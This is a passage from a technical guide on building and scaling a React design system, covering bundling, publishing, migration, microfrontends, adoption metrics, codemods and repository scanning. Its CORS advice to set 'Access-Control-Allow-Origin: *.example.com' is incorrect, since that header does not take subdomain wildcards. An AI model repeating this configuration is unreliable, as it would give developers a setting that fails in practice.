| -------------- | --------------------- | --------------------------------------------------------- |
| Token Coverage | >90% of UI            | Below 90% indicates adoption gaps or missing tokens       |
| Theme Count    | ≥2 functional themes  | Validates the token architecture actually enables theming |
| Build Time     | <10s for full rebuild | Slow builds discourage iteration and CI feedback          |

### Component Library Implementation

Building the component library is where architectural decisions meet production reality. For comprehensive coverage of API design patterns, versioning, and governance workflows, see [Component Library Architecture and Governance](../component-library-architecture-and-governance/README.md). This section focuses on implementation decisions specific to scaling.

#### React-Based Component Architecture (2025+)

React remains the dominant choice for design system component libraries, with TypeScript as the expected baseline. Three architectural decisions dominate the 2025+ landscape:

**1. Headless Accessibility Primitives**

Building accessible components from scratch is expensive and error-prone. The pragmatic choice is standing on the shoulders of accessibility experts:

| Library         | Approach                                    | Weekly Downloads | Best For                              |
| --------------- | ------------------------------------------- | ---------------- | ------------------------------------- |
| **Radix UI**    | Unstyled primitives + optional Radix Themes | 2M+              | Teams wanting maximum styling control |
| **React Aria**  | Hooks + optional components                 | 260K+            | Complex ARIA patterns, i18n           |
| **Headless UI** | Tailwind-focused components                 | 500K+            | Tailwind-native teams                 |

**Design reasoning**: These libraries handle focus management, keyboard navigation, and ARIA attributes correctly. Radix now offers a unified `radix-ui` package with tree-shakeable exports. React Aria's `react-aria-components` layer provides simpler consumption than raw hooks.

**2. React Server Components Compatibility**

RSC is production-ready in Next.js 15+. Design systems must consider the server/client boundary:

```tsx title="RSC-compatible component pattern" collapse={1-4}
// Server-safe: no useState, useEffect, event handlers
// Client components need 'use client' directive
"use client"

import { useState } from "react"
import { Button as RadixButton } from "@radix-ui/react-button"

export function InteractiveButton({ children, ...props }) {
  const [loading, setLoading] = useState(false)
  return <RadixButton {...props}>{loading ? "Loading..." : children}</RadixButton>
}
```

**Why RSC matters**: RSC-compatible design systems can reduce client bundle size by 40-60% in content-heavy applications. The industry is shifting toward libraries that enable maximum tree-shaking with minimal runtime JavaScript.

> **2025+ Trend**: The shadcn/ui model—where consumers own the source code—is gaining traction because it provides maximum tree-shaking, minimal bundle size, and true RSC control. Consider offering both npm-distributed components and copy-paste primitives.

**3. Component API Design**

Compound components solve the "prop explosion" problem. Export both the compound pattern and convenient presets:

```typescript title="Dialog.tsx" collapse={1-3, 15-20}
// Compound pattern for flexibility
import { Dialog as RadixDialog } from '@radix-ui/react-dialog';

// Re-export with consistent naming
export const Dialog = {
  Root: RadixDialog.Root,
  Trigger: RadixDialog.Trigger,
  Portal: RadixDialog.Portal,
  Overlay: styled(RadixDialog.Overlay, overlayStyles),
  Content: styled(RadixDialog.Content, contentStyles),
  Title: RadixDialog.Title,
  Description: RadixDialog.Description,
  Close: RadixDialog.Close,
};

// Convenient preset for simple use cases
export function ConfirmDialog({ title, description, onConfirm, onCancel }) {
  return (
    <Dialog.Root>
      {/* Pre-composed structure */}
    </Dialog.Root>
  );
}
```

#### Storybook 8+ for Documentation and Development

Storybook 8 (released March 2024, with 8.2+ updates through 2025) is the standard development environment for design systems. Key features for implementation:

| Feature                | Benefit                              | Configuration              |
| ---------------------- | ------------------------------------ | -------------------------- |
| **Visual Tests Addon** | Chromatic integration built-in       | `@chromatic-com/storybook` |
| **RSC Support**        | Experimental React Server Components | Next.js framework only     |
| **Autodocs**           | 25-50% faster React docgen           | `tags: ['autodocs']`       |
| **Test Builds**        | 2-4x faster CI                       | SWC support for Webpack    |

```typescript title=".storybook/main.ts" collapse={1-2}
import type { StorybookConfig } from "@storybook/react-vite"

const config: StorybookConfig = {
  stories: ["../src/**/*.stories.@(ts|tsx)"],
  addons: [
    "@storybook/addon-essentials",
    "@storybook/addon-a11y", // Automated accessibility checks
    "@storybook/addon-interactions", // Interactive testing
    "@chromatic-com/storybook", // Visual regression (Storybook 8+)
  ],
  framework: "@storybook/react-vite",
  docs: { autodocs: "tag" },
}

export default config
```

**Story Organization for Scale**

Organize stories by function (Forms, Navigation, Feedback) rather than implementation detail. Each component needs four story types:

1. **Default**: Typical usage with sensible props
2. **Variants**: All visual variants side-by-side
3. **Interactive**: Controls for all props (auto-generated with autodocs)
4. **Edge Cases**: Loading states, error states, boundary conditions

**Visual Regression Testing (2025 Pricing)**

| Tool          | Cost              | Key Differentiator                    |
| ------------- | ----------------- | ------------------------------------- |
| **Chromatic** | $0.006/snapshot   | Git-based baselines, Storybook-native |
| **Percy**     | $0.036/screenshot | OCR-based detection, cross-browser    |

**Design reasoning**: Chromatic's Git-based baseline management means baselines persist through branches and merges like code changes. Percy's OCR detection eliminates false positives from minor text rendering differences. Choose Chromatic for Storybook-centric workflows; Percy for full-page cross-browser validation.

> **Real-World Example: SWAN's Documentation Excellence**
>
> Vista's [SWAN](https://vista.design/swan/) documentation site demonstrates enterprise-grade practices:
>
> - **Versioned deployments**: Every release (major, minor, patch) gets its own Storybook deployment
> - **React-Live integration**: Editable code examples that users can modify and share—enabling live reproductions for support
> - **Accessibility documentation**: Keyboard interactions, ARIA attributes, and screen reader behavior per component

#### Bundling and Package Distribution

How you bundle and distribute your design system determines the consumption experience for every team in the organization. Poor bundling decisions create friction that compounds across dozens of consuming applications.

**Build Tool Selection**

For design system libraries, Rollup remains the gold standard for production builds due to its excellent tree-shaking and clean output. Vite, which uses Rollup internally for production builds, provides a superior development experience with near-instant hot module replacement. The recommended approach is Vite for development with Rollup for production via Vite's library mode.

```typescript title="vite.config.ts" collapse={1-5}
import { defineConfig } from "vite"
import react from "@vitejs/plugin-react"
import dts from "vite-plugin-dts"
import { resolve } from "path"

export default defineConfig({
  plugins: [react(), dts({ rollupTypes: true })],
  build: {
    lib: {
      entry: resolve(__dirname, "src/index.ts"),
      formats: ["es", "cjs"],
      fileName: (format) => `index.${format === "es" ? "mjs" : "cjs"}`,
    },
    rollupOptions: {
      external: ["react", "react-dom", "react/jsx-runtime"],
      output: {
        preserveModules: true, // Enable tree-shaking
        preserveModulesRoot: "src",
      },
    },
  },
})
```

**Output Format Strategy**

Publish both ESM (`.mjs`) and CommonJS (`.cjs`) formats for maximum compatibility. ESM enables tree-shaking in modern bundlers, while CommonJS supports legacy toolchains and Node.js scripts. Configure `package.json` exports to direct consumers to the appropriate format automatically:

```json title="package.json"
{
  "name": "@company/design-system",
  "type": "module",
  "main": "./dist/index.cjs",
  "module": "./dist/index.mjs",
  "types": "./dist/index.d.ts",
  "exports": {
    ".": {
      "import": "./dist/index.mjs",
      "require": "./dist/index.cjs",
      "types": "./dist/index.d.ts"
    },
    "./styles.css": "./dist/styles.css"
  },
  "sideEffects": ["*.css"]
}
```

**CSS Strategy**

For CSS, you have three viable approaches. **Bundled CSS** ships a single CSS file that consumers import; this is simple but prevents tree-shaking of unused styles. **CSS-in-JS** (styled-components, Emotion) bundles styles with components for automatic tree-shaking but adds runtime overhead. **CSS Modules with build-time extraction** (vanilla-extract, Linaria) provides tree-shaking without runtime cost but requires compatible build tooling in consuming apps.

For most organizations, bundled CSS with manual layer organization (using CSS `@layer`) provides the best balance of simplicity and maintainability. Sophisticated teams with homogeneous build tooling can benefit from build-time CSS extraction.

#### NPM Package Publishing

Publishing to npm (or a private registry) makes your design system a first-class dependency with versioning, changelogs, and predictable updates.

**Versioning with Changesets**

Changesets provides the workflow design systems need: documenting changes at PR time, batching changes into releases, and generating changelogs automatically. Unlike semantic-release which releases on every merge, Changesets allows batching changes until you're ready to cut a release—valuable when coordinating multiple component updates.

```bash
# Developer runs this when making changes
npx changeset

# CI creates a "Version Packages" PR when changesets accumulate
# Merging that PR publishes to npm
```

Follow semantic versioning strictly: major versions for breaking changes, minor for new features, patch for bug fixes. Design systems have many consumers, so breaking changes are expensive; invest in backward compatibility and migration codemods.

**Registry and Access Control**

For internal design systems, publish to a private npm registry (npm Enterprise, Artifactory, Verdaccio). This provides access control, audit logs, and independence from npm's public infrastructure. Configure CI to publish automatically on release merges, requiring no manual steps.

**Dependency Management**

Mark React and other framework dependencies as `peerDependencies` to avoid version conflicts and bundle duplication. Be explicit about version ranges—too loose allows incompatible versions, too strict creates unnecessary upgrade friction. Document the tested version matrix clearly.

### Migration Strategy

Migration strategy determines how existing applications adopt the design system. You must answer which applications should migrate first, how to handle legacy code integration, what the rollback strategy looks like, and how to measure migration progress.

**Migration Approaches**

The **Strangler Fig Pattern**, named by Martin Fowler after Australian strangler fig trees that gradually envelop their hosts, applies well to design system migration. New features are built with the design system while legacy UI remains functional. A facade layer presents a unified interface, routing to either legacy or new components based on feature flags or URL paths.

| Aspect         | Consideration                                                                     |
| -------------- | --------------------------------------------------------------------------------- |
| **Mechanism**  | New features built with design system; facade routes between legacy and new       |
| **Risk**       | Low—legacy remains functional throughout migration                                |
| **Resources**  | Higher—requires running two systems simultaneously                                |
| **Timeline**   | Long—large systems can take years to fully migrate                                |
| **State sync** | Challenging—maintaining consistency between systems requires careful coordination |

The Strangler Fig pattern is inappropriate for small systems where wholesale replacement is simpler, when a facade layer isn't architecturally feasible, or when the team cannot commit to the extended timeline large migrations require.

**Greenfield First** starts adoption with new projects rather than migrating existing ones. This builds momentum and success stories with teams who are inherently more receptive—they're not being asked to change working code. Use these successes to justify and inform legacy migrations.

**Parallel Development** maintains legacy systems during migration with gradual feature-by-feature replacement. Each migrated feature is validated in production before proceeding to the next. Full legacy decommissioning occurs only after the migration is complete and validated.

**Measuring Migration Progress**

Track **Migration Progress** as the percentage of UI surface area using the design system—this is the headline metric for executive reporting. **Feature Parity** ensures functionality is maintained during migration; any regression erodes trust in the design system. **Performance Impact** monitors load time and runtime performance; migration should not degrade user experience. **User Experience** measured through satisfaction scores during transition catches issues that technical metrics miss.

**Migration Timeline**

Start migration with 1-2 pilot applications selected for their combination of representative complexity and willing teams. Plan for a 6-12 month migration timeline for substantial applications; shorter estimates typically prove optimistic. Monitor progress weekly and adjust strategy monthly based on actual velocity and discovered obstacles.

### Practical Challenges and Solutions

Enterprise design system adoption encounters recurring challenges that theoretical architecture discussions often overlook. This section addresses the real-world problems that emerge when multiple applications, teams, and deployment contexts consume a shared design system.

#### Shared Static Assets and Cross-Application Caching

When multiple applications on the same domain use the design system, duplicate downloads of fonts, icons, and base CSS waste bandwidth and degrade performance. The solution is centralizing static assets on a shared CDN path that all applications reference.

**The Problem**

Each application bundles its own copy of design system assets:

- `app-a.example.com/fonts/opensans.woff2` (450KB)
- `app-b.example.com/fonts/opensans.woff2` (450KB duplicate)
- `checkout.example.com/fonts/opensans.woff2` (450KB duplicate)

Users navigating between applications download the same fonts repeatedly because browser caching is origin-scoped.

**The Solution: Centralized Asset Hosting**

Host shared assets on a common subdomain or CDN path that all applications reference:

```
https://assets.example.com/design-system/v3/
├── fonts/
│   ├── opensans-regular.woff2
│   └── opensans-bold.woff2
├── icons/
│   └── sprite.svg
└── base.css
```

All applications import from this shared location:

```css
/* In each application's CSS */
@import url("https://assets.example.com/design-system/v3/base.css");

@font-face {
  font-family: "Open Sans";
  src: url("https://assets.example.com/design-system/v3/fonts/opensans-regular.woff2") format("woff2");
}
```

**Implementation Considerations**

Configure aggressive caching headers (`Cache-Control: public, max-age=31536000, immutable`) for versioned asset paths. When the design system releases a new version, assets move to a new path (`/v4/`), while existing applications continue using `/v3/` until they upgrade. This prevents cache invalidation storms during rollouts while enabling gradual adoption.

CORS headers must allow all consuming domains: `Access-Control-Allow-Origin: *.example.com`. For organizations with multiple top-level domains, consider a dedicated asset domain with explicit CORS allowlists.

#### Version Mismatch Across Applications

In large organizations, different applications inevitably run different design system versions. This creates visual inconsistency when users navigate between applications and complicates support when bugs are reported against "the design system" without version context.

**The Scenario**

The main marketing website runs design system v3.2, the product application upgraded to v3.5, but the checkout flow (built as a separate application for mobile webview reuse) remains on v3.0 due to native app release cycles. Users experience jarring visual shifts—button styles change, spacing differs, and the brand feels inconsistent.

**Mitigation Strategies**

**Semantic versioning discipline**: Reserve major versions for breaking visual changes. Minor versions add components or fix bugs without altering existing component appearance. This allows applications to upgrade minors without visual regression testing.

**Version compatibility windows**: Establish a policy that all production applications must be within N minor versions of the latest release (e.g., within 3 minor versions). Applications outside this window receive no bug fixes for their version, creating pressure to upgrade.

**Visual regression baselines per version**: Maintain Chromatic or Percy baselines for each supported version. When a team reports a bug, the first question is "which version?" and the investigation uses that version's baseline.

**Shared component shell**: For applications that must visually integrate (e.g., checkout embedded in the main app), consider a thin "shell" layer that provides navigation, header, and footer at a consistent version, while the inner application content can vary.

**The Checkout/Webview Special Case**

Checkout flows often serve double duty: web checkout and native app webview. Native app release cycles (app store review, user update lag) mean the webview might run for months after web has upgraded. Solutions include:

- **Feature detection**: The design system exports a version identifier; applications can conditionally render based on detected version
- **Parallel deployment**: Maintain the checkout at `/checkout` (latest) and `/checkout-legacy` (pinned version) with native apps pointing to the legacy path until they update
- **Version negotiation**: Native apps pass their expected design system version via URL parameter or header; the server renders accordingly

#### Microfrontend Integration Patterns

Microfrontend architectures introduce unique design system challenges: multiple independently deployed applications must present a unified visual experience while maintaining deployment independence. For comprehensive coverage of microfrontend architecture, see [Micro-Frontends Architecture](../../frontend-architecture-patterns/micro-frontends-architecture/README.md).

**Module Federation (2025 State)**

Module Federation has evolved beyond Webpack-only implementation. Vite plugins (`@module-federation/vite`, `@originjs/vite-plugin-federation`) and Native Federation (ESM + import maps) are now production options.

**Design reasoning**: Microfrontends solve organizational problems, not technical ones. They're worth the complexity when independent team deployment and release cycles are the primary constraint—typically organizations with 200+ engineers.

```javascript title="Shell application with Module Federation" collapse={1-3}
// webpack.config.js or vite.config.ts
// Shared dependencies avoid bundle duplication
new ModuleFederationPlugin({
  name: "shell",
  shared: {
    react: { singleton: true, requiredVersion: "^18.0.0" },
    "react-dom": { singleton: true, requiredVersion: "^18.0.0" },
    "@company/design-system": { singleton: true, requiredVersion: "^3.0.0" },
  },
})
```

This creates upgrade coupling: to upgrade the design system, all microfrontends must be compatible with the new version. If microfrontend A requires design system v4 but microfrontend B hasn't been tested with v4, the upgrade blocks.

**The Interdependency Cascade**

Shared dependencies create transitive upgrade requirements. If your application uses two SDKs that both depend on the design system:

- SDK Alpha requires `@company/design-system@^3.0.0`
- SDK Beta requires `@company/design-system@^3.2.0`

Upgrading to design system v4.0.0 requires both SDK Alpha and SDK Beta to release compatible versions first. This cascade effect can delay upgrades by months as teams coordinate releases.

**Isolation vs. Consistency Trade-off**

The fundamental tension: shared dependencies enable visual consistency and reduce bundle size, but create coupling. Isolated dependencies (each microfrontend bundles its own design system) enable independent deployment but risk visual inconsistency and bundle bloat.

**Recommended Architecture: Loosely Coupled Components**

For organizations navigating this tension, several architectural patterns provide solutions. The key principles:

1. **SDK Abstraction Layer**: Components don't directly depend on framework or shell APIs. Instead, they consume abstract interfaces (routing, analytics, state) that the shell implements. This allows components to be tested in isolation and deployed independently.

2. **Boundary Control**: Explicit rules about what each architectural layer can import, enforced through ESLint. The design system (primitives) has no dependencies on application code. Business components (blocks) consume primitives and SDKs. Page sections (widgets) compose blocks.

3. **Provider-Based Dependency Injection**: All external dependencies are injected via React Context providers. In production, the shell provides real implementations. In tests, mock providers enable isolated testing without framework setup.

This architecture enables design system upgrades without coordinated deployments: the shell upgrades the design system and re-exports it through the shared dependency configuration. Microfrontends automatically receive the new version on their next deployment, with no code changes required if the design system maintained backward compatibility.

**When to Accept Duplication**

In some cases, accepting design system duplication across microfrontends is the pragmatic choice:

- **Versioned visual experiences**: A/B tests that require different component versions
- **Legacy integration**: A legacy microfrontend that cannot upgrade but must continue operating
- **Risk isolation**: A high-risk microfrontend (payment processing) that requires independent deployment with pinned dependencies

The cost is larger bundles and potential visual drift. Mitigate by tracking which microfrontends diverge and establishing sunset timelines for duplicated versions.

#### Operational Considerations

**Design System Versioning in Production**

Every application should expose its design system version in a discoverable way:

```html
<!-- In the HTML head -->
<meta name="design-system-version" content="3.5.2" />
```

```javascript
// In the JavaScript console
window.__DESIGN_SYSTEM_VERSION__ // "3.5.2"
```

This enables support teams to immediately identify version context when investigating issues.

**Monitoring Cross-Application Consistency**

Implement automated visual regression testing that captures screenshots across all production applications and flags visual divergence. Tools like Percy or Chromatic can run against multiple applications and alert when the same component renders differently across properties.

**Documentation as Code**

The design system's documentation site should itself be a consumer of the design system, guaranteeing that documented examples work.

> **Real-World Example: SWAN's Complete Design System Artifact Suite**
>
> [SWAN](https://vista.design/swan/) exemplifies a comprehensive design system that spans the full design-to-development workflow:
>
> - **Code library**: 80+ React components with TypeScript definitions, ESLint plugin for code quality, and Stylelint plugin for CSS validation
> - **Figma UI Kit**: A complete Figma library matching the code components 1:1, enabling designers to use the same components product teams implement—no translation layer required
> - **Codemods**: Automated migration scripts shipped with major versions, reducing upgrade friction
> - **Live playground**: React-Live integration for interactive, editable code examples
>
> The Figma integration deserves emphasis: when designers use SWAN components in their designs, developers receive specs that map directly to available components. This eliminates the "designer handoff" problem where custom designs require new component development. Additional integrations (like product card data connections) were achieved through the champion model, with product teams building domain-specific extensions on the SWAN foundation.

## Adoption and Change Management

### Building Adoption Momentum

A design system succeeds or fails based on adoption—technical excellence without usage is expensive shelf-ware. You must strategically create early adopters, design incentives that encourage system usage, prepare to handle resistance and pushback constructively, and establish support mechanisms teams actually use.

**Adoption Strategies**

The **Champion Program** creates advocates within each product team who serve as local experts and feedback channels. Identify individuals who are naturally enthusiastic about consistency and quality—forcing reluctant participants into champion roles backfires. Provide champions with training and early access to upcoming features, empowering them to help their teams and collect feedback that shapes the system's evolution.

The **Pilot Program** validates the design system with real projects before broad rollout. Start with 1-2 willing teams who understand they're providing feedback on a maturing system, not receiving a finished product. Provide dedicated support and resources during the pilot—problems solved quickly during piloting become war stories, while unresolved issues become cautionary tales. Document and share success stories; concrete wins persuade skeptics more effectively than theoretical benefits.

**Incentive Structure** aligns individual and team motivations with design system adoption. Recognition for adoption milestones—shoutouts in engineering all-hands, badges in internal systems—provides social incentive. Reduced review cycles for pull requests using design system components creates practical benefit. Integration with team performance metrics (where appropriate for your culture) establishes organizational expectation. Avoid coercive mandates; they generate compliance without commitment.

**Measuring Adoption Health**

**Adoption Rate** tracks the percentage of teams actively using the design system—this is the primary indicator of organizational traction. **Component Usage** measures frequency across products, revealing which components provide value and which are ignored. **User Satisfaction** via Net Promoter Score from internal users indicates whether teams view the system as helpful or burdensome. **Support Requests** by number and type reveal friction points and documentation gaps.

**Adoption Timeline**

Launch the champion program before component release so advocates are prepared to support their teams. Start the pilot program within 2 weeks of initial release to capture momentum and gather feedback while the team is focused on adoption. Review adoption metrics weekly; adjust strategy monthly based on observed patterns rather than assumptions.

### Training and Support

Adoption requires enablement. Teams need to understand what skills are required to use the system effectively, how to access ongoing support, which documentation and resources are essential, and how to surface questions and feedback. The quality of your support infrastructure often determines adoption velocity more than the quality of the components themselves.

**Documentation Portal**

The documentation portal is the front door to your design system. It should include a **component library** with interactive examples showing each component's variants, states, and composition patterns. **Integration guides** for each supported framework walk teams through installation, configuration, and first component usage. **Best practices and design principles** explain the "why" behind design decisions, helping teams make consistent choices when the documentation doesn't cover their specific case. **Troubleshooting and FAQ sections** address common issues; every support request should result in a documentation update.

**Training Programs**

Training accelerates adoption by reducing the cost of learning. **Onboarding sessions** for new teams provide structured introduction to the system's philosophy, architecture, and workflows. **Advanced workshops** for power users cover contribution processes, customization patterns, and edge cases. **Regular office hours** provide real-time support and surface common questions. **Video tutorials and interactive demos** serve asynchronous learners and provide reference material teams can revisit.

**Support Channels**

Effective support requires clear channels with appropriate response expectations. A **dedicated Slack or Discord channel** provides fast, informal support and creates a searchable archive of solutions. **Scheduled office hours** offer guaranteed availability for complex questions requiring discussion. A clear **escalation process** ensures blockers reach the right people quickly. **Feedback collection mechanisms** (forms, surveys, embedded feedback widgets) capture suggestions and pain points systematically.

> **Real-World Example: SWAN's Multi-Channel Support Structure**
>
> Vista's SWAN design system implements a tiered support structure with purpose-specific channels:
>
> - **#swan-announcements**: One-way channel for updates, releases, and deprecation notices
> - **#swan-help**: Two-way support channel where teams can ask questions and get rapid responses
> - **Request form**: Structured intake for improvements, new component requests, and bug reports—ensuring requests don't get lost in chat history
> - **Looker dashboards**: Self-service analytics showing adoption rates, component usage, and version distribution across applications
>
> This separation prevents support requests from drowning out announcements while providing multiple engagement paths based on urgency and formality.

**Measuring Support Effectiveness**

**Documentation Usage** through page views and search queries reveals what teams need most and where they struggle to find answers. **Training Completion** as the percentage of team members trained indicates enablement coverage. **Support Response Time** measures how long teams wait for help—long waits create workarounds and frustration. **Knowledge Retention** through post-training assessments identifies whether training is effective or merely completed.

**Support Infrastructure Timeline**

Launch the documentation portal before component release—teams discovering components without documentation form negative first impressions. Schedule training sessions within the first month of adoption while teams are actively learning. Establish support channels before any team adoption begins; a team blocked without support becomes a vocal detractor.

## Measurement and Continuous Improvement

### Key Performance Indicators

Measurement transforms design system management from opinion-based to evidence-based. You must determine which metrics indicate design system success, how to track adoption and usage systematically, which quality metrics matter most for your context, and how to measure business impact in terms executives understand.

**KPI Framework**

Organize metrics into four categories that together provide a complete picture:

| Category       | Metric               | What It Measures               |
| -------------- | -------------------- | ------------------------------ |
| **Adoption**   | Component Coverage   | % of UI using design system    |
| **Adoption**   | Team Adoption        | Number of active teams         |
| **Adoption**   | Usage Frequency      | Components used per project    |
| **Adoption**   | Detachment Rate      | % of components customized     |
| **Efficiency** | Development Velocity | Time to implement features     |
| **Efficiency** | Bug Reduction        | UI-related bug count           |
| **Efficiency** | Onboarding Time      | Time for new team members      |
| **Efficiency** | Maintenance Overhead | Time spent on UI consistency   |
| **Quality**    | Accessibility Score  | WCAG compliance                |
| **Quality**    | Visual Consistency   | Design audit scores            |
| **Quality**    | Performance Impact   | Bundle size and load time      |
| **Quality**    | User Satisfaction    | Internal and external feedback |

**Adoption metrics** tell you whether teams are using the system. **Efficiency metrics** demonstrate whether the system delivers promised productivity gains. **Quality metrics** verify that adoption doesn't come at the cost of user experience. Track all four categories—optimizing one while ignoring others creates invisible debt.

**Measurement Cadence**

Different metrics require different review frequencies. **Real-time metrics** like component usage, error rates, and performance should be monitored continuously via dashboards and alerts. **Weekly metrics** covering adoption progress, support requests, and quality scores inform tactical decisions. **Monthly metrics** including ROI validation, team satisfaction, and business impact feed into leadership updates. **Quarterly metrics** on strategic alignment, governance effectiveness, and roadmap progress support planning cycles.

**Measurement Timeline**

Establish baseline metrics before launch—you cannot demonstrate improvement without a starting point. Review metrics weekly to catch issues early; adjust strategy monthly based on observed trends rather than assumptions. Present comprehensive reports quarterly to maintain executive engagement and secure continued investment.

### Feedback Loops and Iteration

Design systems that don't evolve become obstacles rather than enablers. Effective evolution requires systematic feedback collection, clear prioritization processes, mechanisms for handling conflicting requirements, and a release strategy that balances stability with progress.

**Feedback Mechanisms**

**Continuous collection** captures feedback as it occurs. In-app feedback widgets reduce friction for users reporting issues while they work. Regular user surveys provide structured input on satisfaction and priorities. Support channel monitoring surfaces pain points that users might not formally report. Usage analytics reveal patterns that complement qualitative feedback—what users do often matters more than what they say.

**Structured reviews** provide forums for deeper discussion. Quarterly user research sessions explore user needs and validate roadmap direction. Monthly stakeholder meetings align design system priorities with product and business needs. Weekly team retrospectives identify process improvements within the design system team. Annual strategic planning connects design system evolution to organizational direction.

**Prioritization Framework**

Use an **Impact vs. Effort matrix** to visualize trade-offs—high-impact, low-effort items are obvious wins, while low-impact, high-effort items should be deprioritized or rejected. Weight **user request volume and frequency** as a signal of pain point severity. Ensure **business priority alignment** so the design system supports rather than conflicts with organizational goals. Account for **technical debt considerations** to prevent accumulated shortcuts from blocking future progress.

**Measuring Feedback Effectiveness**

**Feedback Volume** indicates whether channels are functioning and users feel heard. **Response Time** measures how quickly feedback is acknowledged and addressed—slow response discourages future feedback. **Implementation Rate** as the percentage of feedback implemented demonstrates that input leads to action. **User Satisfaction** with feedback handling reveals whether the process feels productive or frustrating.

**Feedback Cadence**

Collect feedback continuously through low-friction channels. Review and prioritize weekly to maintain responsiveness. Implement high-impact changes within 2 weeks to demonstrate that feedback matters. Communicate roadmap updates monthly so users understand what's coming and why.

### Technical Enablement for Adoption

Driving adoption at scale requires more than documentation and training—it requires automation. This section covers the technical tooling that enables data-driven decision making and reduces the friction of migration and upgrades.

#### Codemods for Automated Migration

Codemods are scripts that programmatically transform code, enabling automated migration when the design system introduces breaking changes. Rather than documenting manual migration steps and hoping teams follow them, ship codemods that do the work automatically.

**Why Codemods Matter**

Major version upgrades are adoption killers. Teams delay upgrades because migration is manual, error-prone, and time-consuming. Codemods flip this dynamic: upgrades become a single command, reducing adoption friction to near zero for most changes.

**jscodeshift: The Industry Standard**

[jscodeshift](https://github.com/facebook/jscodeshift) is Facebook's toolkit for running codemods. It parses JavaScript/TypeScript into an AST (Abstract Syntax Tree), allows transformations, and writes the result back to files.

```typescript title="codemods/v3-to-v4/rename-button-variant.ts" collapse={1-2}
import { API, FileInfo, Options } from "jscodeshift"

/**
 * Codemod: Rename Button 'type' prop to 'variant'
 *
 * Before: <Button type="primary" />
 * After:  <Button variant="primary" />
 */
export default function transformer(file: FileInfo, api: API, options: Options) {
  const j = api.jscodeshift
  const root = j(file.source)

  // Find all JSX elements named "Button"
  root
    .find(j.JSXOpeningElement, { name: { name: "Button" } })
    .find(j.JSXAttribute, { name: { name: "type" } })
    .forEach((path) => {
      // Rename 'type' to 'variant'
      path.node.name.name = "variant"
    })

  return root.toSource({ quote: "single" })
}
```

**Distributing Codemods**

Package codemods alongside each major version release:

```
@company/design-system/
├── dist/           # Compiled components
├── codemods/
│   ├── v2-to-v3/
│   │   ├── index.ts
│   │   └── transforms/
│   └── v3-to-v4/
│       ├── index.ts
│       └── transforms/
└── package.json
```

Expose them via npx for easy execution:

```bash
# Run all v3→v4 codemods on the src directory
npx @company/design-system-codemods v3-to-v4 ./src

# Run a specific transform
npx @company/design-system-codemods v3-to-v4 ./src --transform rename-button-variant
```

**Codemod Testing Strategy**

Codemods must be tested as rigorously as components. Use snapshot testing with before/after fixtures:

```typescript title="codemods/v3-to-v4/__tests__/rename-button-variant.test.ts"
import { defineTest } from "jscodeshift/src/testUtils"

defineTest(
  __dirname,
  "rename-button-variant",
  null,
  "rename-button-variant/basic", // Uses __testfixtures__/rename-button-variant/basic.input.tsx
  { parser: "tsx" }, // And compares to basic.output.tsx
)
```

**When to Write Codemods**

Not every change warrants a codemod. Prioritize based on:

| Change Type                | Codemod Priority | Rationale                                           |
| -------------------------- | ---------------- | --------------------------------------------------- |
| Prop rename                | High             | Mechanical change, easy to automate, common pattern |
| Component rename           | High             | Find-and-replace at scale                           |
| Prop value changes         | Medium           | May require context the codemod lacks               |
| API restructuring          | Medium           | Complex but high-value for major versions           |
| Behavior changes           | Low              | Often requires human judgment                       |
| Removal of deprecated APIs | High             | Teams have had warning; enforce the deadline        |

#### Repository Scanning for Adoption Tracking

Understanding adoption across the organization requires systematic scanning of all repositories. This isn't just about measuring adoption—it's about identifying which teams need help and where to focus codemod development.

**The Repository Scanner Architecture**

<figure>

![Repository scanner pipeline: discover repos, analyze dependencies, feed into dashboards and prioritization](./repository-scanner-pipeline-discover-repos-analyze-dependencies-feed-into-dashbo.svg)

<figcaption>Repository scanner pipeline: discover repos, analyze dependencies, feed into dashboards and prioritization</figcaption>

</figure>

**Implementation Approach**

```typescript title="scripts/repo-scanner/index.ts" collapse={1-12}
interface RepoConfig {
  name: string
  url: string
  defaultBranch: string // 'main' for most, 'master' for legacy repos
}

interface ScanResult {
  repo: string
  designSystemVersion: string | null
  lastUpdated: Date
  components: ComponentUsage[]
}

async function scanRepository(config: RepoConfig): Promise<ScanResult> {
  // 1. Clone or fetch the latest from the configured branch
  await git.fetch(config.url, config.defaultBranch)

  // 2. Read package.json to get design system version
  const packageJson = await readFile(`${repoPath}/package.json`)
  const dsVersion =
    packageJson.dependencies?.["@company/design-system"] ||
    packageJson.devDependencies?.["@company/design-system"] ||
    null

  // 3. If design system is installed, analyze usage
  const components = dsVersion ? await analyzeComponentUsage(repoPath) : []

  return {
    repo: config.name,
    designSystemVersion: dsVersion,
    lastUpdated: new Date(),
    components,
  }
}
```

**Branch Configuration**

Most repos use `main` as the default branch, but legacy repos may use `master`. Allow per-repo configuration:

```yaml title="repo-config.yaml"
defaults:
  branch: main

repositories:
  - name: marketing-website
    url: git@github.com:company/marketing-website.git
    # Uses default branch: main

  - name: legacy-checkout
    url: git@github.com:company/legacy-checkout.git
    branch: master # Override for legacy repo

  - name: feature-experiment
    url: git@github.com:company/feature-experiment.git
    branch: experiment-v2 # Specific branch for active experiment
```

**Scheduling and Automation**

Run the scanner on a schedule (daily or weekly) via CI:

```yaml title=".github/workflows/repo-scanner.yml"
name: Design System Adoption Scanner

on:
  schedule:
    - cron: "0 6 * * 1" # Every Monday at 6 AM
  workflow_dispatch: # Manual trigger

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run scanner
        run: npx ts-node scripts/repo-scanner/index.ts
        env:
          GITHUB_TOKEN: ${{ secrets.REPO_SCANNER_TOKEN }}
      - name: Upload results to analytics
        run: npx ts-node scripts/upload-to-looker.ts
```

#### Usage Analytics: Data-Driven Decision Making

Beyond knowing which repos use the design system, you need to understand _how_ they use it. Which components are popular? Which props are used? Where do teams override or customize? This data drives prioritization for everything from documentation to deprecation.

**What to Track**

| Metric                | Question It Answers                   | Actionable Insight                                       |
| --------------------- | ------------------------------------- | -------------------------------------------------------- |
| Component usage count | Which components are most used?       | Focus documentation and stability efforts                |
| Props frequency       | Which props are commonly used?        | Consider making rare props opt-in; simplify common cases |
| Override frequency    | Which components get customized most? | Candidate for API expansion or variants                  |
| Version distribution  | How many versions are in production?  | Urgency for codemod development                          |
| Unused components     | Which components have zero usage?     | Candidates for deprecation                               |

**Static Analysis Pipeline**

Scrape production codebases to build a usage database:

```typescript title="scripts/usage-analyzer/index.ts" collapse={1-14}
interface ComponentUsage {
  component: string
